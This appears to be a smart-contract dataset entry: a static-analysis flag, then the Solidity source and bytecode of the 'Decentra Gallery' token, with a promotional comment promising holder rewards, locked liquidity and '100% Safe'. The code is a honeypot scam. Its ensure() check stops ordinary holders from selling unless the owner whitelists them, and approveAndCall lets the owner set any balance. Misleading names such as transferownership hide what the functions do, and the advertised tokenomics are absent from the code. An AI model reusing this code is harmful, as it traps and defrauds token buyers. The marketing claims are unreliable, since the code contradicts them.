fffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202c6aadeef084973bdfe3c2d2b2a9570687afcee9eab22c39834fc7345ad2351864736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,251 |
0xe77ab9bcabdef9e8c972ac3037f44c5a220d1ed0
|
/*
Decentra Gallery
HOLD MORE THAN 500,000 Decentra Gallery — GET DECENGAL every 30 minutes
Price is what you pay. Value is what you get — Warren Buffet
Tokenomics
10% Redistribution In DECENGAL
As a Decentra Gallery holder, 10% of every buy/sell is taken and redistributed to all holders. Hold $Decentra Gallery tokens, earn DECENGAL. A Minimum of 500,000 tokens is required in order to receive rewards.
3% MARKETING
3% of each transaction goes into the marketing wallet. This will be used to make the project grow.
Rewards Paid Automatically
For the first time ever, you don’t need to claim your earned DECENGAL. It’s automatically sent to your wallet. Just add the DECENGALryToken $DECENGAL address to your wallet and you’re set.
Decentra Gallery Team NFT — Collection 1
DECENGALDECNGAL, Collection of 10 Pixel DECENGALDECNGAL will be available at OpenSea soon.
Mission Statement
— To be listed on several CEXs and mainly on the top CEX such as Huobi, Ethereum , OKEX.
— To be a large NFTs collection token, to provide sustainable growth for Decentra Gallery holder.
— To reach more than 1,000,000 holders in less than 6 months.
— To reach more than 1 billion in market cap.
— To create NFT custom Dapp (Decentra Gallery Lucky Box) within 2 months of Decentra Gallery Inception.
— To create Decentra Gallery custom Dapp for Tracking of DECENGAL Rewards, Prediction, Chat, Community forum.
— To promote Decentra Gallery online / offline through Crypto Conventions, Roadshow, Physical Billboard, Events and Activities Worldwide.
Decentra Gallery: A brief introduction
Decentra Gallery is a community inspired DeFi experiment built on the Ethereum smart chain which supports speedy transaction and low transaction fees to make it one of the most sought after blockchain for developers and the general cryptocurrency community.
Decentra Gallery aims to revolutionize the NFT space as Curator by allowing people the creation and drawing of NFTs by popular nft influencers through the Decentra Gallery protocol which makes the creation, sale, and use of NFT as easy as possible.
NFT sold on Decentra Gallery are 100% channeled towards donation to various courses with proof of donation to be shared accordingly on Decentra Gallery Twitter account. or other media as decided by the community.
Benefits of Holding Decentra Gallery
The Decentra Gallery smart contract has been deployed and encourages long term holders through a reward based system that is built in the contract and other factors as listed below
100% Safe
Liquidity Locked for 3 years
Burnt 50% of total supply
Open Source Contract
By giving total control to its community members/holders, DECENGAL coin aims to continuously utilize the power of its community to keep building while rewarding holders accordingly. Decentra Gallery is
Community driven
100% Community run
Regular giveaways to holders and
10% rewards in $DECENGAL for holding
Decentra Gallery Tokenomics
Decentra Gallery will pay out 10% rewards for each buy and sell to its holders with the reward token (DECENGAL) being chosen as the reward asset. A minimum of 500,000 Decentra Gallery is required to be eligible for the DECENGAL reward flow.
To constantly make sure that Decentra Gallery will be at the forefront of the cryptocurrency world, 3% of all transactions from buy and sell has been reserved for the marketing wallet. Marketing and promotion ideas will be decided by the community at all times with the decision power factor decided by the total number of Decentra Gallery being held by each voter.
Decentra Gallery smart contract is built to issue rewards automatically to holders without the rigors of the need to manually claim rewards. Holders only need to add the DECENGALry token ($DECENGAL) contract address in order for their reward to be visible.
Decentra Gallery Products
A complete robust and user friendly Dapps for NFT is being built by the Decentra Gallery team and is slated for release towards the last quarter of 2021. This dapp will enable any type of NFT obtained from other NFT platform like OpenSea, Decentra Gallery or DECENGAL Coin collection to be traded with Decentra Gallery as a means of payment across all supported NFT platform
All listed NFTs will be shown on a website which will come with information of verifiability by block chain at full display.
Decentra Gallery will also develop its own community Dapp for community forum, support desk, wallet, DEX aggregator where all community members and holders can interact as one at all times.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract DecentraGallery {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080f